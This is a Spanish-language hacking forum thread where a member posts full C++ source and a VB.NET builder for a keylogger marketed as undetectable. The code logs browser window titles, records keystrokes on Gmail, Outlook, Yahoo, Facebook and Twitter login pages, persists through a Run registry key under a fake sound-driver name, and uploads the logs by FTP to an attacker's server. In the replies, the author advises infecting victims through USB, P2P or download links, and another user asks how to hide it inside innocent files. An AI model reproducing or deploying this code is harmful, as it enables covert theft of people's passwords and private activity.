comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keylogger avanzado [FUD][Captura de paginas Web][FTP]

  • 20 Respuestas
  • 7329 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« en: Agosto 05, 2015, 03:27:54 am »

Hola! hoy traje un programa simple.
un keylogger que captura las paginas que visita la victima, y al detectar paginas especiales, asi sea facebook, twitter, gmail, hotmail, yahoo, que requieren login.
activa el HOOK del teclado durante 5 minutos para saber que presiona durante el login.
Sube los archivos a un FTP que configuren (pueden crearse uno gratis y funcional en You are not allowed to view links. Register or Login) yo hice las pruebas con uno de allí.
Tambien pueden usarlo en sus propios ordenadores, para controlar que paginas se visitan y los logins.

Les dejo el codigo & el compilado de ambos, cliente y stub.[/u



el stub al analizarlo me dio FUD, pero quizas con el agregado de EOF, pueda detectarlo algun AV.

Stub

Código: C++
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <tlhelp32.h>
  4.  
  5. #define ALLOC(dwSizee) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSizee + 1 ) )
  6. #define FREE(memblock) GlobalFree ( memblock )
  7. #define GETSIZE(filename) GetSizeFile ( ( LPSTR )filename )
  8.  
  9. typedef PVOID IHANDLE;
  10. typedef IHANDLE *LPIHANDLE;
  11. typedef WORD I_PORT,*LPI_PORT;
  12.  
  13. #define LIB ( LPSTR ) "Wininet.dll"
  14. #define ATTR ( DWORD ) ( 0x1 | 0x2 | 0x4 )
  15.  
  16. typedef BOOL ( __stdcall *_QueryFullProcessImageName ) ( IN HANDLE hProcess, IN DWORD dwFlags,
  17.         OUT LPTSTR lpExeName, OUT PDWORD lpdwSize );
  18.  
  19. typedef IHANDLE ( __stdcall *_iOpen ) ( IN LPCTSTR lpszAgent, IN DWORD dwAccessType, IN LPCTSTR lpszProxyName, IN LPCTSTR lpszProxyByPass, IN DWORD dwFlags );
  20. typedef IHANDLE ( __stdcall *_iConnect ) ( IN IHANDLE hInternet, IN LPCTSTR lpszServerName, IN I_PORT nServerPort, IN LPCTSTR lpszUsername, IN LPCTSTR lpszPassword, IN DWORD dwService, IN DWORD dwFlags, IN DWORD_PTR dwContext );
  21. typedef BOOL ( __stdcall *_iCloseHandle ) ( IN IHANDLE hInternet );
  22. typedef BOOL ( __stdcall *_iSend ) ( IN IHANDLE hConnect, IN LPCTSTR lpszLocalFile, IN LPCTSTR lpszNewRemoteFile, IN DWORD dwFlags, IN DWORD_PTR dwContext );
  23.  
  24.         /*
  25.                 Keylogger avanzado by xxneeco83xx
  26.                 Detecta paginas de navegacion en Google Chrome & Firefox
  27.                 En caso de entrar en paginas que requieran login y demas activa un keylogger por 4 minutos para detectar las teclas.
  28.                 xxneecoxx@gmail.com
  29.         */
  30.  
  31. class PUT_LOGGER
  32. {
  33.         private:
  34.                 IHANDLE Request, Connection;
  35.                
  36.                 _iOpen iOpen;
  37.                 _iConnect iConnect;
  38.                 _iCloseHandle iCloseHandle;
  39.                 _iSend iSend;
  40.  
  41.         public:
  42.  
  43.                 bool __stdcall ToFile ( PCHAR Server, PCHAR UserName, PCHAR PassWord,
  44.                         PCHAR FileNameLocal, PCHAR FileNameRemote );
  45.  
  46. } PUTLOG, *LPUTLOG;
  47.  
  48. static char path [ MAX_PATH + 1 ];
  49.  
  50. FILE* salida;
  51. HHOOK hHook;
  52. MSG msg;
  53.  
  54. BOOL CALLBACK EnumChildProc ( HWND hwnd, LPARAM lParam );
  55. LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam );
  56. DWORD __stdcall Keyboard_Trap ( VOID );
  57.  
  58. LPSTR __stdcall Split ( IN LPSTR lpszString, IN CHAR Delimiter );
  59. BOOL __stdcall ifCharacter ( IN LPSTR lpszString, IN CHAR pCharacter );
  60.  
  61. int __stdcall GetMyName ( IN char name [ 256 ] );
  62. BOOL __stdcall GetBuffer ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN LPDWORD dwSize );
  63. DWORD __stdcall GetSizeFile ( IN LPSTR lpszPath );
  64. BOOL __stdcall FileWrite ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN DWORD dwSize );
  65. BOOL __stdcall FileExists ( IN LPSTR lpszPath );
  66.  
  67. bool __stdcall PUT_LOGGER::ToFile ( PCHAR Server, PCHAR UserName, PCHAR Password,
  68.         PCHAR FileNameLocal, PCHAR FileNameRemote )
  69. {
  70.  
  71.         iOpen = ( _iOpen ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetOpenA" );
  72.         iConnect = ( _iConnect ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetConnectA" );
  73.         iCloseHandle = ( _iCloseHandle ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetCloseHandle" );
  74.         iSend = ( _iSend ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "FtpPutFileA" );
  75.  
  76.         Request = iOpen ( "Windows Update common", 1, 0, 0, 0 );
  77.         if ( Request == 0L ) {
  78.                 iCloseHandle ( Request );
  79.  
  80.                 return false;
  81.         }
  82.  
  83.         Connection = iConnect ( Request, Server, 21, UserName, Password, 1, 0, 0 );
  84.         if ( Connection == 0L ) {
  85.  
  86.                 iCloseHandle ( Connection );
  87.                 iCloseHandle ( Request );
  88.  
  89.                 return false;
  90.         }
  91.  
  92.         if ( iSend ( Connection, FileNameLocal, FileNameRemote, 2, 0 ) == FALSE ) {
  93.                
  94.                 iCloseHandle ( Connection );
  95.                 iCloseHandle ( Request );
  96.  
  97.                 return false;
  98.         }
  99.         else
  100.         {
  101.                 DeleteFileA ( FileNameLocal );
  102.         }
  103.  
  104.         iCloseHandle ( Request );
  105.         iCloseHandle ( Connection );
  106.  
  107.         return true;
  108. }
  109.  
  110. BOOL CALLBACK EnumChildProc ( HWND hwnd, LPARAM lParam )
  111. {
  112.         char Text [ 256 ], Classes [ 256 ];
  113.         GetWindowText ( hwnd, Text, 255 );
  114.         SYSTEMTIME time;
  115.  
  116.         GetClassName ( hwnd, Classes, 255 );
  117.  
  118.         if ( ( hwnd == GetForegroundWindow() ) && IsWindowVisible ( hwnd ) )
  119.         {
  120.                 if ( ( lstrcmpA ( Classes, "Chrome_WidgetWin_1" ) == 0 ) && ( lstrlenA ( Text ) >= 1 ) )
  121.                 {
  122.                         GetSystemTime ( &time );
  123.                         salida = fopen ( path, "a+" );
  124.                         fprintf ( salida, "[%s] - [%d/%d/%d - %d:%d:%d%:%dms]\n", Text, time.wDay, time.wMonth, time.wYear, time.wHour, time.wMinute, time.wSecond, time.wMilliseconds );
  125.                         fclose ( salida );
  126.  
  127.                         //Si detectamos gmail o hotmail, yahoo.
  128.                         if ( ( lstrcmpA ( Text, "Gmail - Google Chrome" ) == 0 ) ||
  129.                                 ( lstrcmpA ( Text, "Outlook - Google Chrome" ) == 0 ) || ( lstrcmpA ( Text, "Yahoo - Google Chrome" ) == 0 )
  130.                                 || ( lstrcmpA ( Text, "Iniciar sesión - Google Chrome" ) == 0 ) || ( lstrcmpA ( Text, "Facebook - Inicia sesión o regístrate - Google Chrome" ) == 0 )
  131.                                 || ( lstrcmpA ( Text, "Bienvenido a Twitter - Inicia sesión o regístrate - Google Chrome" ) == 0 ) )
  132.                         {
  133.                                 HANDLE Thread;
  134.                                 DWORD key;
  135.  
  136.                                 Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Keyboard_Trap, 0, 0, &key );
  137.                                 if ( Thread )
  138.                                 {
  139.                                         WaitForSingleObject ( Thread, ( 4 * 60000 ) ); // 4 minutos.
  140.                                 }
  141.  
  142.                                 CloseHandle ( Thread );
  143.                                 UnhookWindowsHookEx ( hHook );
  144.                         }
  145.                        
  146.                 }
  147.                 else if ( ( lstrcmpA ( Classes, "MozillaWindowClass" ) == 0 ) && ( lstrlenA ( Text ) >= 1 ) )
  148.                 {
  149.                         GetSystemTime ( &time );
  150.                         salida = fopen ( path, "a+" );
  151.                         fprintf ( salida, "[%s] - [%d/%d/%d - %d:%d:%d%:%dms]\n", Text, time.wDay, time.wMonth, time.wYear, time.wHour, time.wMinute, time.wSecond, time.wMilliseconds );
  152.                         fclose ( salida );
  153.  
  154.                         //Si detectamos gmail o hotmail, yahoo.
  155.                         if ( ( lstrcmpA ( Text, "Gmail - Mozilla Firefox" ) == 0 ) ||
  156.                                 ( lstrcmpA ( Text, "Outlook - Mozilla Firefox" ) == 0 ) || ( lstrcmpA ( Text, "Yahoo - Mozilla Firefox" ) == 0 )
  157.                                 || ( lstrcmpA ( Text, "Iniciar sesión - Mozilla Firefox" ) == 0 ) || ( lstrcmpA ( Text, "Facebook - Inicia sesión o regístrate - Mozilla Firefox" ) == 0 )
  158.                                 || ( lstrcmpA ( Text, "Bienvenido a Twitter - Inicia sesión o regístrate - Mozilla Firefox" ) == 0 ) )
  159.                         {
  160.                                 HANDLE Thread;
  161.                                 DWORD key;
  162.  
  163.                                 Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Keyboard_Trap, 0, 0, &key );
  164.                                 if ( Thread )
  165.                                 {
  166.                                         WaitForSingleObject ( Thread, ( 4 * 60000 ) ); // 4 minutos.
  167.                                 }
  168.  
  169.                                 CloseHandle ( Thread );
  170.                                 UnhookWindowsHookEx ( hHook );
  171.                         }
  172.                        
  173.                 }
  174.         }
  175.  
  176.         return TRUE;
  177. }
  178.  
  179. LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam )
  180. {
  181.         char keyname [ 256 ];
  182.  
  183.         if ( nCode < 0 )
  184.         {
  185.                 return CallNextHookEx ( hHook, nCode, wParam, lParam );
  186.         }
  187.  
  188.         if ( wParam == WM_KEYDOWN )
  189.         {
  190.  
  191.                 PKBDLLHOOKSTRUCT keyboard = reinterpret_cast <PKBDLLHOOKSTRUCT>(lParam);
  192.                 int ScanCode = MapVirtualKeyEx ( keyboard -> vkCode, 0, GetKeyboardLayout ( 0 ) );
  193.                 GetKeyNameText ( ScanCode << 16, keyname, 255 );
  194.  
  195.                 salida = fopen ( path, "a+" );
  196.                 if ( lstrlenA ( keyname ) > 1 )
  197.                 {
  198.                         fprintf ( salida, " %s ", keyname );
  199.                 }
  200.                 else
  201.                 {
  202.                         fprintf ( salida, "%s", keyname );
  203.                 }
  204.  
  205.                 fclose ( salida );
  206.         }
  207.  
  208.         return CallNextHookEx ( hHook, nCode, wParam, lParam );
  209. }
  210.  
  211. DWORD __stdcall Keyboard_Trap ( VOID )
  212. {
  213.  
  214.         hHook = SetWindowsHookEx ( WH_KEYBOARD_LL, ( HOOKPROC ) Keyboard, GetModuleHandle ( 0L ), 0L );
  215.  
  216.         while ( ! GetMessage ( &msg, 0, 0, 0 ) )
  217.         {
  218.                 TranslateMessage ( &msg );
  219.                 DispatchMessage ( &msg );
  220.         }
  221.        
  222.         UnhookWindowsHookEx ( hHook );
  223.  
  224.         return 0;
  225. }
  226.  
  227. LPSTR __stdcall Split ( IN LPSTR lpszString, IN CHAR Delimiter )
  228. {
  229.         register DWORD bytes = 0;
  230.         for ( bytes; bytes <= lstrlenA ( lpszString ); bytes ++ )
  231.         {
  232.                 if ( lpszString [ bytes ] == Delimiter )
  233.                 {
  234.                         return lpszString + ( bytes + 1 );
  235.                 }
  236.         }
  237.  
  238.         return lpszString;
  239. }
  240.  
  241. BOOL __stdcall ifCharacter ( IN LPSTR lpszString, IN CHAR pCharacter )
  242. {
  243.         register DWORD bytes = 0;
  244.         for ( bytes; bytes <= lstrlenA ( lpszString ); bytes ++ )
  245.         {
  246.                 if ( lpszString [ bytes ] == pCharacter )
  247.                 {
  248.                         return TRUE;
  249.                 }
  250.         }
  251.  
  252.         return FALSE;
  253. }
  254.  
  255. int __stdcall GetMyName ( IN char name [ 256 ] )
  256. {
  257.  
  258.         char szExeName [ MAX_PATH + 1 ];
  259.         DWORD dwbytes;
  260.  
  261.         _QueryFullProcessImageName QueryFullProcessImageName = ( _QueryFullProcessImageName )
  262.                 GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) "KERNEL32.DLL" ), "QueryFullProcessImageNameA" );
  263.  
  264.         HANDLE Process = OpenProcess ( PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId () );
  265.         if ( ! Process )
  266.         {
  267.                 CloseHandle ( Process );
  268.                 return -1;
  269.         }
  270.  
  271.         QueryFullProcessImageName ( Process, 0, name, &dwbytes );
  272.         CloseHandle ( Process );
  273.  
  274.         return 0;
  275. }
  276.  
  277. BOOL __stdcall GetBuffer ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN LPDWORD dwSize )
  278. {
  279.  
  280.         HANDLE File;
  281.         DWORD dwFileSize, dwBytes;
  282.  
  283.         File = CreateFileA ( lpszPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
  284.         if ( File == INVALID_HANDLE_VALUE )
  285.         {
  286.                 CloseHandle ( File );
  287.                 return FALSE;
  288.         }
  289.  
  290.         dwFileSize = GetFileSize ( File, 0 );
  291.         *dwSize = dwFileSize;
  292.  
  293.         ReadFile ( File, pBuffer, dwFileSize, &dwBytes, 0 );
  294.         CloseHandle ( File );
  295.  
  296.         return TRUE;
  297.  
  298. }
  299.  
  300. DWORD __stdcall GetSizeFile ( IN LPSTR lpszPath )
  301. {
  302.  
  303.         HANDLE File;
  304.         DWORD dwFileSize, dwBytes;
  305.  
  306.         File = CreateFileA ( lpszPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
  307.         if ( File == INVALID_HANDLE_VALUE )
  308.         {
  309.                 CloseHandle ( File );
  310.                 return 0;
  311.         }
  312.  
  313.         dwFileSize = GetFileSize ( File, 0 );
  314.  
  315.         CloseHandle ( File );
  316.  
  317.         return dwFileSize;
  318.  
  319. }
  320.  
  321. BOOL __stdcall FileWrite ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN DWORD dwSize )
  322. {
  323.         HANDLE File;
  324.         DWORD dwBytes;
  325.  
  326.         File = CreateFileA ( lpszPath, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, ATTR, 0 );
  327.         if ( File == INVALID_HANDLE_VALUE )
  328.         {
  329.                 CloseHandle ( File );
  330.                 return FALSE;
  331.         }
  332.  
  333.         WriteFile ( File, pBuffer, dwSize, &dwBytes, 0 );
  334.         CloseHandle ( File );
  335.  
  336.         return TRUE;
  337. }
  338.  
  339. BOOL __stdcall FileExists ( IN LPSTR lpszPath )
  340. {
  341.         DWORD Attributes;
  342.         Attributes = GetFileAttributesA ( lpszPath );
  343.  
  344.         if ( Attributes == INVALID_FILE_ATTRIBUTES )
  345.         {
  346.                 return FALSE;
  347.         }
  348.         else
  349.         {
  350.                 return TRUE;
  351.         }
  352.  
  353.         return FALSE;
  354. }
  355.                
  356. int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  357.         LPSTR lpszArgument, int nCmdFunstil )
  358. {
  359.  
  360.         DWORD dwSize;
  361.         DWORD tmp;
  362.         HKEY key;
  363.  
  364.         SYSTEMTIME time;
  365.         GetLocalTime ( &time );
  366.  
  367.         PUT_LOGGER Logger;
  368.  
  369.         int Hour = time.wHour; //Hora de comienzo.
  370.  
  371.         if ( Hour == 12 || Hour == 0 )
  372.         {
  373.                 Hour = 1;
  374.         }
  375.  
  376.         char path_inf [ MAX_PATH + 1 ];
  377.         char encrypted [ MAX_PATH + 1 ];
  378.  
  379.         char one [ 10 ] = "Sof";
  380.         char two [ 20 ] = "\\Micro";
  381.         char three [ 50 ] = "dows\\Curre";
  382.         char four [ 50 ] = "\\Ru";
  383.         char dop [ 150 ];
  384.  
  385.         if ( lstrlenA ( one ) > 0 )
  386.         {
  387.  
  388.                 wsprintfA ( encrypted, "%stware%ssoft\\Win%sntVersion%sn", one, two, three, four );
  389.                 wsprintfA ( path_inf, "%s\\system\\%slogical.%s", getenv ( "windir"), "driver", "exe" );
  390.                 wsprintfA ( dop, "Driver %s", "Sound" );
  391.                 wsprintfA ( path, "%s\\config.inf", getenv ( "windir" ) );
  392.         }
  393.  
  394.         HWND hwnd = GetDesktopWindow ();
  395.        
  396.         char myname [ MAX_PATH + 1 ];
  397.         GetMyName ( myname );
  398.  
  399.         LPSTR Bufferx = ( LPSTR ) ALLOC ( GETSIZE ( myname ) );
  400.         GetBuffer ( myname, Bufferx, &dwSize );
  401.  
  402.         FileWrite ( path_inf, Bufferx, dwSize );
  403.  
  404.         if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, encrypted, 0, (0x0002), &key ) == ERROR_SUCCESS )
  405.         {
  406.                 RegSetValueExA ( key, dop, 0, REG_SZ, ( const unsigned char *) myname, ( BYTE ) lstrlenA ( myname ) );
  407.         }
  408.                        
  409.         RegCloseKey ( key );
  410.  
  411.         for ( DWORD i = 0; i <= dwSize; i ++ )
  412.         {
  413.                 if ( Bufferx [ i ] == '*' && Bufferx [ i + 1 ] == '+' &&
  414.                                 Bufferx [ i + 2 ] == '+' && Bufferx [ i + 3 ] == '*' )
  415.                 {
  416.                         Bufferx += ( i + 4 );
  417.                         dwSize -= ( i + 4 );
  418.                 }
  419.         }
  420.  
  421.         LPSTR Primero, User, Pass, SERVER;
  422.  
  423.         User = ( LPSTR ) ALLOC ( MAX_PATH );
  424.         Pass = ( LPSTR ) ALLOC ( MAX_PATH );
  425.         SERVER = ( LPSTR ) ALLOC ( MAX_PATH );
  426.         Primero = ( LPSTR ) ALLOC ( 600 );
  427.        
  428.         if ( ifCharacter ( Bufferx, ',' ) )
  429.         {
  430.                 Primero = Split ( Bufferx, ',' );
  431.         }
  432.         else
  433.         {
  434.                 FREE ( Bufferx );
  435.                 FREE ( Primero );
  436.                 FREE ( User );
  437.                 FREE ( Pass );
  438.                 FREE ( SERVER );
  439.  
  440.                 return EXIT_FAILURE;
  441.         }
  442.  
  443.         register DWORD bytes = 0;
  444.  
  445.         for ( bytes; bytes <= lstrlenA ( Primero ); bytes ++ )
  446.         {
  447.                 if ( Primero [ bytes ] != ',' )
  448.                 {
  449.                         CopyMemory ( & SERVER [ bytes ], & Primero [ bytes ], 1 );
  450.                 }
  451.                 else
  452.                 {
  453.                         Primero += ( bytes + 1 );
  454.                         break;
  455.                 }
  456.         }
  457.  
  458.         bytes = 0;
  459.  
  460.         for ( bytes; bytes <= lstrlenA ( Primero ); bytes ++ )
  461.         {
  462.                 if ( Primero [ bytes ] != ',' )
  463.                 {
  464.                         CopyMemory ( & User [ bytes ], & Primero [ bytes ], 1 );
  465.                 }
  466.                 else
  467.                 {
  468.                         Primero += ( bytes + 1 );
  469.                         break;
  470.                 }
  471.         }
  472.  
  473.         CopyMemory ( & Pass [ 0 ], & Primero [ 0 ], lstrlenA ( Primero ) );
  474.         FREE ( Primero );
  475.         FREE ( Bufferx );
  476.  
  477.         char tmp_log [ 256 ];
  478.  
  479.         while ( 1 )
  480.         {
  481.  
  482.                 GetLocalTime ( & time );
  483.                 if ( time.wMinute == Hour + 1 )
  484.                 {
  485.                         wsprintfA ( tmp_log, "archivo de %d:%d:%d - %d-%d-%d.txt", time.wHour, time.wMinute, time.wSecond, time.wDay, time.wMonth, time.wYear );
  486.                         Logger.ToFile ( SERVER, User, Pass, path, tmp_log );
  487.  
  488.                         if ( Hour == 12 || Hour == 0 )
  489.                         {
  490.                                 Hour = 1;
  491.                         }
  492.                 }
  493.  
  494.                 if ( ! FileExists ( path_inf ) )
  495.                 {
  496.                         FileWrite ( path_inf, Bufferx, dwSize );
  497.                         if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, encrypted, 0, (0x0002), &key ) == ERROR_SUCCESS )
  498.                         {
  499.                                 RegSetValueExA ( key, dop, 0, REG_SZ, ( const unsigned char *) myname, ( BYTE ) lstrlenA ( myname ) );
  500.                         }
  501.  
  502.                         RegCloseKey ( key );
  503.                 }
  504.  
  505.                 for ( int i = 0; i <= 1; i ++ )
  506.                 {
  507.                         EnumChildWindows ( hwnd, EnumChildProc, 0 );
  508.                         Sleep ( 2000 );
  509.                 }
  510.         }
  511.  
  512.         FREE ( User );
  513.         FREE ( Pass );
  514.         FREE ( SERVER );
  515.  
  516.         return EXIT_SUCCESS;
  517. }
  518.  
  519.  

Generador

Código: vb.net
  1. Public Class Form1
  2.  
  3.     Dim ff As Long
  4.     Dim buffer As String
  5.  
  6.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  7.         End
  8.     End Sub
  9.  
  10.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  11.         If Not TextBox1.Text = "" And Not TextBox2.Text = "" And Not TextBox3.Text = "" Then
  12.             ff = You are not allowed to view links. Register or Login()
  13.  
  14.             FileOpen(1, "STUB.DLL", OpenMode.Binary, OpenAccess.Read, OpenShare.LockRead)
  15.             buffer = You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login(ff))
  16.             FileGet(1, buffer)
  17.             FileClose(1)
  18.  
  19.             FileOpen(1, "Generado.exe", OpenMode.Binary, OpenAccess.Write, OpenShare.LockWrite)
  20.             FilePut(1, buffer & "*++*," & TextBox1.Text & "," & TextBox2.Text & "," & TextBox3.Text)
  21.             FileClose(1)
  22.  
  23.             You are not allowed to view links. Register or Login("Compilado con exito", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Exito")
  24.  
  25.             TextBox1.Text = ""
  26.             TextBox2.Text = ""
  27.             TextBox3.Text = ""
  28.  
  29.             TextBox1.Focus()
  30.         End If
  31.     End Sub
  32.  
  33.     Private Sub Form1_Activated(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Activated
  34.         TextBox1.Focus()
  35.     End Sub
  36.  
  37. End Class
  38.  

Bueno ya lo resubi y me dio FUD 0/56 , si se que no debi haberlo subido a virustotal, pero queria un analicis completo, ya luego si se detecta lo vuelvo a resubir FUD.

You are not allowed to view links. Register or Login


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean

Aqui el link de descarga
You are not allowed to view links. Register or Login

PASS : xxneeco83xx
« Última modificación: Abril 21, 2016, 05:24:57 pm por EPSILON »
El arte de crear malware, es algo que solo pocos entienden!


Conectado blackdrake

  • *
  • Moderator
  • Mensajes: 1893
  • Actividad:
    16.67%
  • Reputación 14
    • Ver Perfil
« Respuesta #1 en: Agosto 05, 2015, 05:36:44 am »
Que gran aporte, te dejo +1 y voy a leer ya el código :D

Saludos.



Desconectado dehombreadios

  • *
  • Underc0der
  • Mensajes: 28
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Agosto 05, 2015, 05:39:57 am »
Buena.. como puedo enviarlo por gmail no sé mucho de c/c++   ;D

Conectado blackdrake

  • *
  • Moderator
  • Mensajes: 1893
  • Actividad:
    16.67%
  • Reputación 14
    • Ver Perfil
« Respuesta #3 en: Agosto 05, 2015, 06:17:05 am »
You are not allowed to view links. Register or Login
Buena.. como puedo enviarlo por gmail no sé mucho de c/c++   ;D

Es como cualquier otro malware, deberás enviar el ejecutable.

saludos.



Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« Respuesta #4 en: Agosto 05, 2015, 12:33:15 pm »
You are not allowed to view links. Register or Login
Que gran aporte, te dejo +1 y voy a leer ya el código :D

Saludos.

Gracias! vere si en un rato lo subo FUD.
saludos  ;D
El arte de crear malware, es algo que solo pocos entienden!


Conectado blackdrake

  • *
  • Moderator
  • Mensajes: 1893
  • Actividad:
    16.67%
  • Reputación 14
    • Ver Perfil
« Respuesta #5 en: Agosto 05, 2015, 12:51:18 pm »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Que gran aporte, te dejo +1 y voy a leer ya el código :D

Saludos.

Gracias! vere si en un rato lo subo FUD.
saludos  ;D

Excelente, avisa entonces :D



Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« Respuesta #6 en: Agosto 05, 2015, 01:24:10 pm »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Que gran aporte, te dejo +1 y voy a leer ya el código :D

Saludos.

Gracias! vere si en un rato lo subo FUD.
saludos  ;D


Excelente, avisa entonces :D

Ya esta fud, ahi lo actualizo, ando publicando un binder tambien,  :-X
Mira el analisis. ( Lo subi a virustotal porque de igual forma, lo seguire modificando )

You are not allowed to view links. Register or Login
« Última modificación: Agosto 05, 2015, 01:28:01 pm por Gabriela »
El arte de crear malware, es algo que solo pocos entienden!


Desconectado Geronimo

  • *
  • Underc0der
  • Mensajes: 4
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #7 en: Agosto 31, 2015, 08:21:31 pm »
Pero se puede aplicar a algún archivo o algo para no tener necesariamente el acceso al computador a espiar?

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« Respuesta #8 en: Septiembre 01, 2015, 08:50:21 am »
You are not allowed to view links. Register or Login
Pero se puede aplicar a algún archivo o algo para no tener necesariamente el acceso al computador a espiar?

te refieres a la forma de infectar a una persona ?
si no sabes quien sera tu victima, o te interesa tener varias de ellas.
Puedes utilizar diferentes metodos para propagarlo, el USB, P2P, en caso de que tengas fijo a quien enviar, si no tienes acceso al ordenador, puedes hacer abrirle un link con el archivo para que se lo descargue o demás.
El arte de crear malware, es algo que solo pocos entienden!


Desconectado Geronimo

  • *
  • Underc0der
  • Mensajes: 4
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #9 en: Septiembre 05, 2015, 10:43:27 pm »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Pero se puede aplicar a algún archivo o algo para no tener necesariamente el acceso al computador a espiar?

te refieres a la forma de infectar a una persona ?
si no sabes quien sera tu victima, o te interesa tener varias de ellas.
Puedes utilizar diferentes metodos para propagarlo, el USB, P2P, en caso de que tengas fijo a quien enviar, si no tienes acceso al ordenador, puedes hacer abrirle un link con el archivo para que se lo descargue o demás.

Claro, si quiero infectar a un grupo de gente pequeño que tienen gustos similares y esas enviandole el archivo infectado, pero resulta que obviamente no se le puede enviar el keylogger, que lo abran y que para ellos no pase nada, sino que se les envie un archivo, una imagen, un block de notas, lo que sea y dentro de ese archivo aparte de lo que sea se infecten con el key. Esa es mi duda.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« Respuesta #10 en: Septiembre 06, 2015, 02:52:21 am »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Pero se puede aplicar a algún archivo o algo para no tener necesariamente el acceso al computador a espiar?

te refieres a la forma de infectar a una persona ?
si no sabes quien sera tu victima, o te interesa tener varias de ellas.
Puedes utilizar diferentes metodos para propagarlo, el USB, P2P, en caso de que tengas fijo a quien enviar, si no tienes acceso al ordenador, puedes hacer abrirle un link con el archivo para que se lo descargue o demás.

Claro, si quiero infectar a un grupo de gente pequeño que tienen gustos similares y esas enviandole el archivo infectado, pero resulta que obviamente no se le puede enviar el keylogger, que lo abran y que para ellos no pase nada, sino que se les envie un archivo, una imagen, un block de notas, lo que sea y dentro de ese archivo aparte de lo que sea se infecten con el key. Esa es mi duda.

